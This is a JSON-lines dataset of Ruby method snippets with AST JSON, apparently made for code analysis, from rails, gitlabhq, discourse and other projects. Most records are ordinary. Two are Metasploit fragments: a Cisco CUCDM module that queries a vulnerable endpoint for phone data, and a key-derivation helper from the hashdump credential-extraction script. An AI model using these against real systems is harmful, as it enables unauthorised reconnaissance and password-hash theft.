{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rescanner.rb","start_line":229,"raw_source":"def test_gemfile_rails_version_change\n    gemfile = \"Gemfile.lock\"\n\n    before_rescan_of gemfile do\n      replace gemfile, \"rails (3.2.9.rc2)\", \"rails (3.2.6)\"\n    end\n\n    #@original is actually modified\n    assert @original.config.rails_version, \"3.2.6\"\n    assert_new 1\n    assert_fixed 0\n  end","complexity_score":10.0,"ast_json":"{\"type\":\"def\",\"children\":[\"test_gemfile_rails_version_change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"gemfile\",{\"type\":\"str\",\"children\":[\"Gemfile.lock\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before_rescan_of\",{\"type\":\"lvar\",\"children\":[\"gemfile\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"replace\",{\"type\":\"lvar\",\"children\":[\"gemfile\"]},{\"type\":\"str\",\"children\":[\"rails (3.2.9.rc2)\"]},{\"type\":\"str\",\"children\":[\"rails (3.2.6)\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@original\"]},\"config\"]},\"rails_version\"]},{\"type\":\"str\",\"children\":[\"3.2.6\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_new\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"assert_fixed\",{\"type\":\"int\",\"children\":[0]}]}]}]}","id":"10ff4b26-6eef-4a59-af59-7a1e02c57e2b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_button.rb","start_line":184,"raw_source":"def uri_message\n    get_resource_action.ae_message\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"uri_message\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"get_resource_action\"]},\"ae_message\"]}]}","id":"ceb6e81a-1980-4c4f-967c-5ce41c2f76a9"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/reporting/lib/widget/cost_types.rb","start_line":37,"raw_source":"def render\n    write contents\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"write\",{\"type\":\"send\",\"children\":[null,\"contents\"]}]}]}","id":"db062100-ceb4-4e30-b060-709ca76133ea"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/associations/has_many_through_disable_joins_associations_test.rb","start_line":178,"raw_source":"def test_first_and_scope_applied_in_double_join\n    assert_equal @member2, assert_queries_count(1) { @author.members.unnamed.first }\n    assert_equal @member2, assert_queries_count(3) { @author.no_joins_members.unnamed.first }\n  end","complexity_score":16.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_first_and_scope_applied_in_double_join\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@member2\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"members\"]},\"unnamed\"]},\"first\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"ivar\",\"children\":[\"@member2\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@author\"]},\"no_joins_members\"]},\"unnamed\"]},\"first\"]}]}]}]}]}","id":"4fa21e5d-872e-49fc-98dc-f472a5330e02"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/helpers/jira_integration_helpers.rb","start_line":87,"raw_source":"def stub_jira_urls(issue_id)\n    WebMock.stub_request(:get, jira_project_url)\n    WebMock.stub_request(:get, jira_api_comment_url(issue_id)).to_return(body: jira_issue_comments)\n    WebMock.stub_request(:get, jira_issue_url(issue_id))\n    WebMock.stub_request(:get, jira_api_test_url)\n    WebMock.stub_request(:post, jira_api_comment_url(issue_id))\n    WebMock.stub_request(:post, jira_api_remote_link_url(issue_id))\n    WebMock.stub_request(:post, jira_api_transition_url(issue_id))\n  end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"stub_jira_urls\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"issue_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"send\",\"children\":[null,\"jira_project_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"send\",\"children\":[null,\"jira_api_comment_url\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]},\"to_return\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"body\"]},{\"type\":\"send\",\"children\":[null,\"jira_issue_comments\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"send\",\"children\":[null,\"jira_issue_url\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"get\"]},{\"type\":\"send\",\"children\":[null,\"jira_api_test_url\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[null,\"jira_api_comment_url\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[null,\"jira_api_remote_link_url\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"WebMock\"]},\"stub_request\",{\"type\":\"sym\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[null,\"jira_api_transition_url\",{\"type\":\"lvar\",\"children\":[\"issue_id\"]}]}]}]}]}","id":"3ee85616-c921-410d-8b1a-4d6760921675"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/models/upload.rb","start_line":238,"raw_source":"def self.consider_for_reuse(upload, post)\n    return upload if !SiteSetting.secure_uploads? || upload.blank? || post.blank?\n    if !upload.matching_access_control_post?(post) || upload.uploaded_before_secure_uploads_enabled?\n      return nil\n    end\n    upload\n  end","complexity_score":13.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"consider_for_reuse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]},{\"type\":\"arg\",\"children\":[\"post\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"secure_uploads?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"blank?\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"blank?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"matching_access_control_post?\",{\"type\":\"lvar\",\"children\":[\"post\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"uploaded_before_secure_uploads_enabled?\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"lvar\",\"children\":[\"upload\"]}]}]}","id":"74a78e16-112e-4c96-b491-017b4cf595a7"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/journey/router/utils_test.rb","start_line":42,"raw_source":"def test_normalize_path_with_nil\n          assert_equal \"/\", Utils.normalize_path(nil)\n        end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_normalize_path_with_nil\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Utils\"]},\"normalize_path\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"9d43e3ea-253d-44ce-90fc-6cdf0eeae75e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/kramdown/parser/atlassian_document_format.rb","start_line":193,"raw_source":"def process_media_single(element, ast_node)\n        new_element = Element.new(:p)\n        element.children << new_element\n\n        process_content(new_element, ast_node, %w[media])\n      end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"process_media_single\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"element\"]},{\"type\":\"arg\",\"children\":[\"ast_node\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"new_element\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Element\"]},\"new\",{\"type\":\"sym\",\"children\":[\"p\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"element\"]},\"children\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"new_element\"]}]},{\"type\":\"send\",\"children\":[null,\"process_content\",{\"type\":\"lvar\",\"children\":[\"new_element\"]},{\"type\":\"lvar\",\"children\":[\"ast_node\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"media\"]}]}]}]}]}","id":"1f0d7432-23ef-4765-803b-3ca8cfbab8d9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/metrics/subscribers/active_record.rb","start_line":141,"raw_source":"def cached_query?(payload)\n          payload.fetch(:cached, payload[:name] == 'CACHE')\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"cached_query?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"payload\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"fetch\",{\"type\":\"sym\",\"children\":[\"cached\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"payload\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"CACHE\"]}]}]}]}","id":"ed855c59-e9d8-406f-9e73-0564075f7d68"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/members/destroy_service.rb","start_line":100,"raw_source":"def delete_member_associations(member, skip_subresources, skip_saml_identity)\n      if member.request? && member.user != current_user\n        Members::AccessDeniedMailer.with(member: member).email.deliver_later # rubocop:disable CodeReuse/ActiveRecord -- false positive\n      end\n\n      delete_subresources(member) unless skip_subresources\n      delete_project_invitations_by(member) unless skip_subresources\n      resolve_access_request_todos(member)\n\n      after_execute(member: member, skip_saml_identity: skip_saml_identity)\n    end","complexity_score":16.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete_member_associations\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"member\"]},{\"type\":\"arg\",\"children\":[\"skip_subresources\"]},{\"type\":\"arg\",\"children\":[\"skip_saml_identity\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"request?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"member\"]},\"user\"]},\"!=\",{\"type\":\"send\",\"children\":[null,\"current_user\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Members\"]},\"AccessDeniedMailer\"]},\"with\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"member\"]}]}]}]},\"email\"]},\"deliver_later\"]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_subresources\"]},null,{\"type\":\"send\",\"children\":[null,\"delete_subresources\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"skip_subresources\"]},null,{\"type\":\"send\",\"children\":[null,\"delete_project_invitations_by\",{\"type\":\"lvar\",\"children\":[\"member\"]}]}]},{\"type\":\"send\",\"children\":[null,\"resolve_access_request_todos\",{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"send\",\"children\":[null,\"after_execute\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"member\"]},{\"type\":\"lvar\",\"children\":[\"member\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_saml_identity\"]},{\"type\":\"lvar\",\"children\":[\"skip_saml_identity\"]}]}]}]}]}]}","id":"0f7a7583-b865-4d5c-b976-ccb1272d5a3d"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/autosave_association_test.rb","start_line":1670,"raw_source":"def setup\n    super\n    @pirate = Pirate.create(catchphrase: \"Don' botharrr talkin' like one, savvy?\")\n    @ship = @pirate.create_ship(name: \"Nights Dirty Lightning\")\n  end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@pirate\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Pirate\"]},\"create\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"catchphrase\"]},{\"type\":\"str\",\"children\":[\"Don' botharrr talkin' like one, savvy?\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@ship\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@pirate\"]},\"create_ship\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Nights Dirty Lightning\"]}]}]}]}]}]}]}","id":"22b1d388-e881-441c-ac39-a23fa251b8dc"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/voip/cisco_cucdm_call_forward.rb","start_line":60,"raw_source":"def get_info\n    uri = normalize_uri(target_uri.to_s)\n    mac = datastore['MAC']\n\n    print_status('Getting fintnumbers and display names of the IP phone')\n\n    res = send_request_cgi(\n      {\n        'uri' => normalize_uri(uri, 'showcallfwd.cgi'),\n        'method' => 'GET',\n        'vars_get' => {\n          'device' => \"SEP#{mac}\"\n        }\n      }\n    )\n\n    unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/\n      print_error('Target appears not vulnerable!')\n      print_status(res.to_s)\n      return []\n    end\n\n    doc = REXML::Document.new(res.body)\n    lines = []\n    fint_numbers = []\n\n    list = doc.root.get_elements('MenuItem')\n\n    list.each do |lst|\n      xlist = lst.get_elements('Name')\n      xlist.each { |l| lines << (l[0]).to_s }\n      xlist = lst.get_elements('URL')\n      xlist.each { |l| fint_numbers << (l[0].to_s.split('fintnumber=')[1]).to_s }\n    end\n\n    lines.size.times do |i|\n      print_status(\"Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}\")\n    end\n\n    fint_numbers\n  end","complexity_score":69.83,"ast_json":"{\"type\":\"def\",\"children\":[\"get_info\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"mac\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"MAC\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Getting fintnumbers and display names of the IP phone\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"lvar\",\"children\":[\"uri\"]},{\"type\":\"str\",\"children\":[\"showcallfwd.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"GET\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_get\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"device\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SEP\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mac\"]}]}]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"to_s\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"fintnumber\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Target appears not vulnerable!\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"to_s\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"doc\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REXML\"]},\"Document\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"lines\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"fint_numbers\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"doc\"]},\"root\"]},\"get_elements\",{\"type\":\"str\",\"children\":[\"MenuItem\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"lst\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"xlist\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lst\"]},\"get_elements\",{\"type\":\"str\",\"children\":[\"Name\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xlist\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},\"to_s\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"xlist\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lst\"]},\"get_elements\",{\"type\":\"str\",\"children\":[\"URL\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"xlist\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"l\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fint_numbers\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"l\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_s\"]},\"split\",{\"type\":\"str\",\"children\":[\"fintnumber=\"]}]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]},\"to_s\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"size\"]},\"times\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Display Name: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"str\",\"children\":[\", Fintnumber: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fint_numbers\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"fint_numbers\"]}]}]}","id":"bb167927-3320-429e-aa8e-26bef23ef921"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/i18n/translation_entry.rb","start_line":86,"raw_source":"def translations_contain_leading_space?\n        all_translations.any? { |translation| contains_leading_space?(translation) }\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"translations_contain_leading_space?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_translations\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"translation\"]}]},{\"type\":\"send\",\"children\":[null,\"contains_leading_space?\",{\"type\":\"lvar\",\"children\":[\"translation\"]}]}]}]}","id":"05b0f4bf-deed-4c7f-9511-2516243b5da5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/scripts/meterpreter/hashdump.rb","start_line":199,"raw_source":"def rid_to_key(rid)\n\n  s1 = [rid].pack(\"V\")\n  s1 << s1[0,3]\n\n  s2b = [rid].pack(\"V\").unpack(\"C4\")\n  s2 = [s2b[3], s2b[0], s2b[1], s2b[2]].pack(\"C4\")\n  s2 << s2[0,3]\n\n  [convert_des_56_to_64(s1), convert_des_56_to_64(s2)]\nend","complexity_score":20.15,"ast_json":"{\"type\":\"def\",\"children\":[\"rid_to_key\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"rid\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s1\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rid\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s2b\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rid\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"V\"]}]},\"unpack\",{\"type\":\"str\",\"children\":[\"C4\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"s2\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2b\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2b\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2b\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2b\"]},\"[]\",{\"type\":\"int\",\"children\":[2]}]}]},\"pack\",{\"type\":\"str\",\"children\":[\"C4\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[3]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"convert_des_56_to_64\",{\"type\":\"lvar\",\"children\":[\"s1\"]}]},{\"type\":\"send\",\"children\":[null,\"convert_des_56_to_64\",{\"type\":\"lvar\",\"children\":[\"s2\"]}]}]}]}]}","id":"b5cb7043-1527-4f8b-9e7a-95b131c6da43"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/tagged_logging.rb","start_line":96,"raw_source":"def format_message(message)\n        if @tags.empty?\n          message\n        elsif @tags.size == 1\n          \"[#{@tags[0]}] #{message}\"\n        else\n          @tags_string ||= \"[#{@tags.join(\"] [\")}] \"\n          \"#{@tags_string}#{message}\"\n        end\n      end","complexity_score":9.63,"ast_json":"{\"type\":\"def\",\"children\":[\"format_message\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags\"]},\"empty?\"]},{\"type\":\"lvar\",\"children\":[\"message\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags\"]},\"size\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"str\",\"children\":[\"] \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"message\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@tags_string\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@tags\"]},\"join\",{\"type\":\"str\",\"children\":[\"] [\"]}]}]},{\"type\":\"str\",\"children\":[\"] 